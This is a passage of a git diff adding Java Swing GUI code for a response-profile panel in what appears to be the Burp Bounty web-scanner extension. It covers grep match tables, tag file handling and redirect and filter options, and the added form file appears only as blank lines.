+ private javax.swing.JButton button18; + private javax.swing.JButton button19; + private javax.swing.JButton button7; + private javax.swing.JButton button8; + private javax.swing.ButtonGroup buttonGroup1; + private javax.swing.ButtonGroup buttonGroup2; + private javax.swing.ButtonGroup buttonGroup3; + private javax.swing.ButtonGroup buttonGroup4; + private javax.swing.ButtonGroup buttonGroup5; + private javax.swing.ButtonGroup buttonGroup6; + private javax.swing.ButtonGroup buttonGroup7; + public javax.swing.JCheckBox check1; + public javax.swing.JCheckBox check4; + public javax.swing.JTabbedPane headerstab; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel12; + private javax.swing.JLabel jLabel13; + private javax.swing.JLabel jLabel14; + private javax.swing.JLabel jLabel15; + private javax.swing.JLabel jLabel18; + private javax.swing.JLabel jLabel24; + private javax.swing.JLabel jLabel25; + private javax.swing.JLabel jLabel3; + private javax.swing.JLabel jLabel30; + private javax.swing.JLabel jLabel31; + private javax.swing.JLabel jLabel32; + private javax.swing.JLabel jLabel33; + private javax.swing.JLabel jLabel34; + private javax.swing.JLabel jLabel35; + private javax.swing.JLabel jLabel36; + private javax.swing.JLabel jLabel37; + private javax.swing.JLabel jLabel38; + private javax.swing.JLabel jLabel39; + private javax.swing.JLabel jLabel4; + private javax.swing.JLabel jLabel40; + private javax.swing.JLabel jLabel41; + private javax.swing.JLabel jLabel46; + private javax.swing.JLabel jLabel47; + private javax.swing.JLabel jLabel5; + private javax.swing.JLabel jLabel7; + private javax.swing.JLabel jLabel9; + public javax.swing.JPanel jPanel11; + private javax.swing.JPanel jPanel12; + private javax.swing.JPanel jPanel3; + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JScrollPane jScrollPane10; + private javax.swing.JScrollPane jScrollPane11; + private javax.swing.JScrollPane jScrollPane14; + private javax.swing.JScrollPane jScrollPane6; + private javax.swing.JScrollPane jScrollPane7; + private javax.swing.JScrollPane jScrollPane8; + private javax.swing.JScrollPane jScrollPane9; + private javax.swing.JSeparator jSeparator10; + private javax.swing.JSeparator jSeparator6; + private javax.swing.JSeparator jSeparator7; + private javax.swing.JSeparator jSeparator8; + private javax.swing.JSeparator jSeparator9; + public javax.swing.JList listtag; + public javax.swing.JComboBox newTagCombo; + private javax.swing.JButton newTagb; + public javax.swing.JRadioButton radio10; + public javax.swing.JRadioButton radio11; + public javax.swing.JRadioButton radio3; + public javax.swing.JRadioButton radio4; + public javax.swing.JRadioButton radio5; + public javax.swing.JRadioButton radio6; + public javax.swing.JRadioButton radio7; + public javax.swing.JRadioButton radio8; + public javax.swing.JRadioButton radio9; + private javax.swing.JButton removetag; + public javax.swing.JTable table4; + public javax.swing.JTextField text1; + public javax.swing.JTextField text4; + public javax.swing.JTextArea textarea1; + public javax.swing.JTextArea textarea2; + public javax.swing.JTextArea textarea3; + public javax.swing.JTextArea textarea4; + public javax.swing.JTextField textauthor; + public javax.swing.JTextField textgreps; + // End of variables declaration//GEN-END:variables +} diff --git a/src/src/ResponseProfile.form b/src/src/ResponseProfile.form new file mode 100755 index 0000000..6c8a05f --- /dev/null +++ b/src/src/ResponseProfile.form @@ -0,0 +1,1224 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/src/ResponseProfile.java b/src/src/ResponseProfile.java new file mode 100755 index 0000000..b16fe39 --- /dev/null +++ b/src/src/ResponseProfile.java @@ -0,0 +1,1242 @@ +/* +Copyright 2018 Eduardo Garcia Melia + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + */ +package burpbounty; + +import burp.IBurpExtenderCallbacks; +import com.google.gson.JsonArray; +import com.google.gson.JsonParser; +import com.google.gson.stream.JsonReader; +import java.awt.Toolkit; +import java.awt.datatransfer.Clipboard; +import java.awt.datatransfer.DataFlavor; +import java.awt.datatransfer.Transferable; +import java.awt.datatransfer.UnsupportedFlavorException; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.io.PrintWriter; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import javax.swing.DefaultListModel; +import javax.swing.JDialog; +import javax.swing.JFileChooser; +import javax.swing.JFrame; +import javax.swing.JOptionPane; +import javax.swing.JScrollPane; +import javax.swing.RowSorter; +import javax.swing.table.DefaultTableModel; +import javax.swing.table.TableModel; +import javax.swing.table.TableRowSorter; + +/** + * + * @author eduardogarcia + */ +public class ResponseProfile extends javax.swing.JPanel { + + /** + * Creates new form RequestProfile + */ + DefaultListModel payload; + DefaultTableModel grep; + DefaultListModel encoder; + DefaultListModel tag; + DefaultListModel tagmanager; + List headers; + List variationAttributes; + List insertionPointType; + List Tags; + Boolean pathDiscovery; + DefaultTableModel model; + DefaultTableModel model1; + DefaultTableModel model2; + DefaultTableModel model4; + DefaultTableModel model9; + DefaultTableModel model10; + DefaultTableModel modelgrep; + IBurpExtenderCallbacks callbacks; + String filename; + + public ResponseProfile(IBurpExtenderCallbacks callbacks) { + + payload = new DefaultListModel(); + grep = new DefaultTableModel(); + encoder = new DefaultListModel(); + tag = new DefaultListModel(); + tagmanager = new DefaultListModel(); + model4 = new DefaultTableModel(); + model9 = new DefaultTableModel(); + model10 = new DefaultTableModel(); + modelgrep = new DefaultTableModel(); + headers = new ArrayList(); + variationAttributes = new ArrayList(); + insertionPointType = new ArrayList(); + this.callbacks = callbacks; + + modelgrep = new DefaultTableModel() { + @Override + public Class getColumnClass(int columnIndex) { + Class clazz = String.class; + switch (columnIndex) { + case 0: + clazz = Boolean.class; + break; + } + return clazz; + } + + @Override + public boolean isCellEditable(int row, int column) { + if (column == 1) { + return false; + } else { + return true; + } + } + + }; + + initComponents(); + + if (callbacks.loadExtensionSetting("filename") != null) { + filename = callbacks.loadExtensionSetting("filename")+ File.separator;; + } else { + filename = System.getProperty("user.home")+ File.separator;; + } + showTags(); + showGrepsTable(); + + } + + public String getClipboardContents() { + //Get clipboard contents for implement grep and match paste button + String result = ""; + Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); + Transferable contents = clipboard.getContents(null); + boolean hasTransferableText = (contents != null) && contents.isDataFlavorSupported(DataFlavor.stringFlavor); + + if (hasTransferableText) { + try { + result = (String) contents.getTransferData(DataFlavor.stringFlavor); + } catch (UnsupportedFlavorException | IOException ex) { + callbacks.printError("ResponseProfile line 151: " + ex.getMessage()); + } + } + return result; + } + + public void swap(int a, int b) { + Object aObject = encoder.getElementAt(a); + Object bObject = encoder.getElementAt(b); + encoder.set(a, bObject); + encoder.set(b, aObject); + } + + public void loadGrepsFile(DefaultTableModel model) { + //Load file for implement payloads and match load button + List grep = new ArrayList(); + String line; + JFrame parentFrame = new JFrame(); + JFileChooser fileChooser = new JFileChooser(); + fileChooser.setDialogTitle("Specify a file to load"); + + int userSelection = fileChooser.showOpenDialog(parentFrame); + + if (userSelection == JFileChooser.APPROVE_OPTION) { + File fileload = fileChooser.getSelectedFile(); + textgreps.setText(fileload.getAbsolutePath()); + try { + BufferedReader bufferreader = new BufferedReader(new FileReader(fileload.getAbsolutePath())); + line = bufferreader.readLine(); + + while (line != null) { + grep.add(line); + line = bufferreader.readLine(); + } + bufferreader.close(); + showGreps(grep); + } catch (FileNotFoundException ex) { + callbacks.printError("ResponseProfile line 189:"); + } catch (IOException ex) { + callbacks.printError("ResponseProfile line 193:"); + } + } + } + + public JsonArray initJson() { + //Init json form filename + FileReader fr; + + try { + JsonArray data = new JsonArray(); + File f = new File(filename); + if (f.exists() && f.isDirectory()) { + for (File file : f.listFiles()) { + if (file.getName().endsWith(".bb")) { + fr = new FileReader(file.getAbsolutePath()); + JsonReader json = new JsonReader((fr)); + JsonParser parser = new JsonParser(); + data.addAll(parser.parse(json).getAsJsonArray()); + fr.close(); + } + + } + } + return data; + } catch (Exception e) { + callbacks.printError("ResponseProfile line 216: " + e.getMessage()); + return null; + } + } + + public void showGrepsTable() { + + modelgrep.setNumRows(0); + modelgrep.setColumnCount(0); + modelgrep.addColumn("Enabled"); + modelgrep.addColumn("Operator"); + modelgrep.addColumn("Grep Value"); + + table4.getColumnModel().getColumn(0).setPreferredWidth(7); + table4.getColumnModel().getColumn(1).setPreferredWidth(15); + table4.getColumnModel().getColumn(2).setPreferredWidth(460); + + TableRowSorter sorter = new TableRowSorter<>(table4.getModel()); + table4.setRowSorter(sorter); + List sortKeys = new ArrayList<>(); + sorter.setSortKeys(sortKeys); + sorter.sort(); + + } + + public void showGreps(List greps) { + + for (String grepline : greps) { + List array = Arrays.asList(grepline.split(",")); + if (array.size() > 1) { + if (array.get(0).equals("true")) { + modelgrep.addRow(new Object[]{true, array.get(1), array.get(2)}); + } else { + modelgrep.addRow(new Object[]{false, array.get(1), array.get(2)}); + } + } else { + modelgrep.addRow(new Object[]{true, "Or", grepline}); + } + } + } + + public void addNewTag(String str) { + if (!str.isEmpty()) { + try { + BufferedWriter out = new BufferedWriter(new FileWriter(filename.concat("tags.txt"), true)); + out.write(str.concat("\n")); + out.close(); + } catch (IOException e) { + callbacks.printError("ResponseProfile line 281: " + "exception occoured" + e.getMessage()); + } + } + } + + public void removeTag(String tag) { + String file = filename.concat("tags.txt"); + try { + + File inFile = new File(file); + + if (!inFile.isFile()) { + callbacks.printError("ResponseProfile line 293: " + "Parameter is not an existing file"); + return; + } + + //Construct the new file that will later be renamed to the original filename. + File tempFile = new File(inFile.getAbsolutePath().concat(".tmp")); + + BufferedReader br = new BufferedReader(new FileReader(file)); + PrintWriter pw = new PrintWriter(new FileWriter(tempFile)); + + String line = null; + + //Read from the original file and write to the new + //unless content matches data to be removed. + while ((line = br.readLine()) != null) { + + if (!line.trim().equals(tag)) { + pw.println(line); + pw.flush(); + } + } + pw.close(); + br.close(); + + //Delete the original file + if (!inFile.delete()) { + callbacks.printError("ResponseProfile line 319: " + "Could not delete file"); + return; + } + + //Rename the new file to the filename the original file had. + if (!tempFile.renameTo(inFile)) { + callbacks.printError("ResponseProfile line 325: " + "Could not rename file"); + } + + } catch (FileNotFoundException ex) { + callbacks.printError("ResponseProfile line 329:"); + } catch (IOException ex) { + callbacks.printError("ResponseProfile line 333:"); + } + } + + public void showTags() { + + List tags = readFile(filename.concat("tags.txt")); + + newTagCombo.removeAllItems(); + tagmanager.removeAllElements(); + for (String tag : tags) { + newTagCombo.addItem(tag); + tagmanager.addElement(tag); + } + } + + private List readFile(String filename) { + List records = new ArrayList(); + try { + BufferedReader reader = new BufferedReader(new FileReader(filename)); + String line; + while ((line = reader.readLine()) != null) { + records.add(line); + } + reader.close(); + + } catch (Exception e) { + callbacks.printError("ResponsePorfile line 372:" + e.getMessage()); + } + return records; + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + buttonGroup1 = new javax.swing.ButtonGroup(); + buttonGroup2 = new javax.swing.ButtonGroup(); + buttonGroup3 = new javax.swing.ButtonGroup(); + buttonGroup4 = new javax.swing.ButtonGroup(); + buttonGroup5 = new javax.swing.ButtonGroup(); + buttonGroup6 = new javax.swing.ButtonGroup(); + text1 = new javax.swing.JTextField(); + jLabel18 = new javax.swing.JLabel(); + jLabel12 = new javax.swing.JLabel(); + textauthor = new javax.swing.JTextField(); + headerstab = new javax.swing.JTabbedPane(); + jScrollPane6 = new javax.swing.JScrollPane(); + jPanel11 = new javax.swing.JPanel(); + button10 = new javax.swing.JButton(); + radio4 = new javax.swing.JRadioButton(); + radio3 = new javax.swing.JRadioButton(); + check4 = new javax.swing.JCheckBox(); + check1 = new javax.swing.JCheckBox(); + excludehttp = new javax.swing.JCheckBox(); + onlyhttp = new javax.swing.JCheckBox(); + check71 = new javax.swing.JCheckBox(); + check72 = new javax.swing.JCheckBox(); + text72 = new javax.swing.JTextField(); + text71 = new javax.swing.JTextField(); + negativeCT = new javax.swing.JCheckBox(); + negativeRC = new javax.swing.JCheckBox(); + jLabel24 = new javax.swing.JLabel(); + jLabel25 = new javax.swing.JLabel(); + jLabel28 = new javax.swing.JLabel(); + jLabel29 = new javax.swing.JLabel(); + jSeparator5 = new javax.swing.JSeparator(); + jLabel30 = new javax.swing.JLabel(); + jLabel31 = new javax.swing.JLabel(); + jSeparator6 = new javax.swing.JSeparator(); + rb1 = new javax.swing.JRadioButton(); + rb2 = new javax.swing.JRadioButton(); + rb3 = new javax.swing.JRadioButton(); + rb4 = new javax.swing.JRadioButton(); + jLabel2 = new javax.swing.JLabel(); + sp1 = new javax.swing.JSpinner(); + jLabel6 = new javax.swing.JLabel(); + button19 = new javax.swing.JButton(); + button18 = new javax.swing.JButton(); + jScrollPane14 = new javax.swing.JScrollPane(); + table4 = new javax.swing.JTable(); + textgreps = new javax.swing.JTextField(); + button8 = new javax.swing.JButton(); + button7 = new javax.swing.JButton(); + jLabel1 = new javax.swing.JLabel(); + jScrollPane10 = new javax.swing.JScrollPane(); + jPanel12 = new javax.swing.JPanel(); + jLabel32 = new javax.swing.JLabel(); + jLabel33 = new javax.swing.JLabel(); + jLabel3 = new javax.swing.JLabel(); + jLabel4 = new javax.swing.JLabel(); + radio5 = new javax.swing.JRadioButton(); + radio6 = new javax.swing.JRadioButton(); + radio7 = new javax.swing.JRadioButton(); + radio8 = new javax.swing.JRadioButton(); + jLabel7 = new javax.swing.JLabel(); + radio9 = new javax.swing.JRadioButton(); + radio10 = new javax.swing.JRadioButton(); + radio11 = new javax.swing.JRadioButton(); + text4 = new javax.swing.JTextField(); + jSeparator7 = new javax.swing.JSeparator(); + jLabel34 = new javax.swing.JLabel(); + jLabel35 = new javax.swing.JLabel(); + jScrollPane7 = new javax.swing.JScrollPane(); + textarea2 = new javax.swing.JTextArea(); + jLabel13 = new javax.swing.JLabel(); + jLabel36 = new javax.swing.JLabel(); + jLabel37 = new javax.swing.JLabel(); + jSeparator8 = new javax.swing.JSeparator(); + jLabel38 = new javax.swing.JLabel(); + jLabel39 = new javax.swing.JLabel(); + jSeparator9 = new javax.swing.JSeparator(); + jScrollPane1 = new javax.swing.JScrollPane(); + textarea1 = new javax.swing.JTextArea(); + jLabel9 = new javax.swing.JLabel(); + jScrollPane8 = new javax.swing.JScrollPane(); + textarea3 = new javax.swing.JTextArea(); + jLabel14 = new javax.swing.JLabel(); + jLabel40 = new javax.swing.JLabel(); + jLabel41 = new javax.swing.JLabel(); + jSeparator10 = new javax.swing.JSeparator(); + jScrollPane9 = new javax.swing.JScrollPane(); + textarea4 = new javax.swing.JTextArea(); + jLabel15 = new javax.swing.JLabel(); + jPanel3 = new javax.swing.JPanel(); + removetag = new javax.swing.JButton(); + addTag = new javax.swing.JButton(); + newTagCombo = new javax.swing.JComboBox<>(); + jScrollPane11 = new javax.swing.JScrollPane(); + listtag = new javax.swing.JList<>(); + jLabel46 = new javax.swing.JLabel(); + jLabel47 = new javax.swing.JLabel(); + newTagb = new javax.swing.JButton(); + + setPreferredSize(new java.awt.Dimension(800, 600)); + + text1.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + + jLabel18.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + jLabel18.setText("Author:"); + + jLabel12.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + jLabel12.setText("Name:"); + + textauthor.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + + headerstab.setAutoscrolls(true); + headerstab.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + headerstab.setPreferredSize(new java.awt.Dimension(780, 570)); + headerstab.addChangeListener(new javax.swing.event.ChangeListener() { + public void stateChanged(javax.swing.event.ChangeEvent evt) { + headerstabStateChanged(evt); + } + }); + + jScrollPane6.setHorizontalScrollBarPolicy(javax.swing.ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER); + jScrollPane6.getVerticalScrollBar().setUnitIncrement(20); + + jPanel11.setAutoscrolls(true); + + button10.setText("Clear"); + button10.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button10removeAllGrep(evt); + } + }); + + buttonGroup3.add(radio4); + radio4.setText("Simple string"); + radio4.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + radio4stringMatchType(evt); + } + }); + + buttonGroup3.add(radio3); + radio3.setText("Regex"); + radio3.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + radio3regexMatchType(evt); + } + }); + + check4.setText("Negative match"); + + check1.setText("Case sensitive"); + + excludehttp.setText("Exclude HTTP headers"); + + onlyhttp.setText("Only in HTTP headers"); + + check71.setText("Content type"); + + check72.setText("Status code"); + + negativeCT.setText("Negative match"); + + negativeRC.setText("Negative match"); + + jLabel24.setText("You can define one or more greps."); + + jLabel25.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel25.setForeground(new java.awt.Color(255, 102, 51)); + jLabel25.setText("Grep"); + + jLabel28.setText("You can define how your profile handles redirections."); + + jLabel29.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel29.setForeground(new java.awt.Color(255, 102, 51)); + jLabel29.setText("Redirections"); + + jLabel30.setText("These settings can be used to specify grep options of your profile."); + + jLabel31.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel31.setForeground(new java.awt.Color(255, 102, 51)); + jLabel31.setText("Grep Options"); + + buttonGroup4.add(rb1); + rb1.setText("Never"); + + buttonGroup4.add(rb2); + rb2.setText("On-site only"); + + buttonGroup4.add(rb3); + rb3.setText("In-scope only"); + + buttonGroup4.add(rb4); + rb4.setText("Always"); + + jLabel2.setText("Max redirections:"); + + jLabel6.setText("Follow redirections: "); + + button19.setText("Add"); + button19.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + addGrep(evt); + } + }); + + button18.setText("Remove"); + button18.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button18removeMatchReplace(evt); + } + }); + + table4.setFont(new java.awt.Font("Lucida Grande", 0, 13)); // NOI18N + table4.setModel(modelgrep); + table4.setShowGrid(false); + jScrollPane14.setViewportView(table4); + + button8.setText("Load File"); + button8.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button8loadGrep(evt); + } + }); + + button7.setText("Paste"); + button7.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button7pasteGrep(evt); + } + }); + + jLabel1.setText("Match Type: "); + + javax.swing.GroupLayout jPanel11Layout = new javax.swing.GroupLayout(jPanel11); + jPanel11.setLayout(jPanel11Layout); + jPanel11Layout.setHorizontalGroup( + jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jSeparator5) + .addComponent(jSeparator6, javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addGap(20, 20, 20) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel6) + .addComponent(jLabel2)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(rb1) + .addComponent(rb2) + .addComponent(rb3) + .addComponent(rb4) + .addComponent(sp1, javax.swing.GroupLayout.PREFERRED_SIZE, 56, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGroup(jPanel11Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel31) + .addComponent(onlyhttp) + .addComponent(check4) + .addComponent(check1) + .addComponent(excludehttp) + .addComponent(jLabel29) + .addComponent(jLabel28, javax.swing.GroupLayout.PREFERRED_SIZE, 769, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) + .addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel11Layout.createSequentialGroup() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(check72) + .addComponent(check71)) + .addGap(15, 15, 15) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(text71, javax.swing.GroupLayout.DEFAULT_SIZE, 547, Short.MAX_VALUE) + .addComponent(text72)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(negativeCT) + .addComponent(negativeRC))) + .addComponent(jLabel30, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 769, javax.swing.GroupLayout.PREFERRED_SIZE)))) + .addGroup(jPanel11Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel25) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addComponent(button8, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(textgreps, javax.swing.GroupLayout.PREFERRED_SIZE, 662, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jLabel24, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 769, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(jPanel11Layout.createSequentialGroup() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jLabel1) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) + .addComponent(button18, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(button10, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(button7, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(button19, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGap(18, 18, 18) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(radio3) + .addComponent(jScrollPane14, javax.swing.GroupLayout.PREFERRED_SIZE, 662, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(radio4)))))))) + .addContainerGap(42, Short.MAX_VALUE)) + ); + + jPanel11Layout.linkSize(javax.swing.SwingConstants.HORIZONTAL, new java.awt.Component[] {button10, button18, button19, button7, button8}); + + jPanel11Layout.setVerticalGroup( + jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel25) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel24) + .addGap(25, 25, 25) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(textgreps, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(button8)) + .addGap(18, 18, Short.MAX_VALUE) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addComponent(button19) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button7) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button10) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button18)) + .addComponent(jScrollPane14, javax.swing.GroupLayout.PREFERRED_SIZE, 128, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel1) + .addComponent(radio4)) + .addGap(1, 1, 1) + .addComponent(radio3) + .addGap(18, 18, Short.MAX_VALUE) + .addComponent(jSeparator6, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel31) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel30) + .addGap(25, 25, 25) + .addComponent(check4) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(check1) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(excludehttp) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(onlyhttp) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(check71) + .addComponent(text71, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(negativeCT)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(check72) + .addComponent(text72, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(negativeRC)) + .addGap(18, 18, 18) + .addComponent(jSeparator5, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel29) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel28) + .addGap(25, 25, 25) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + 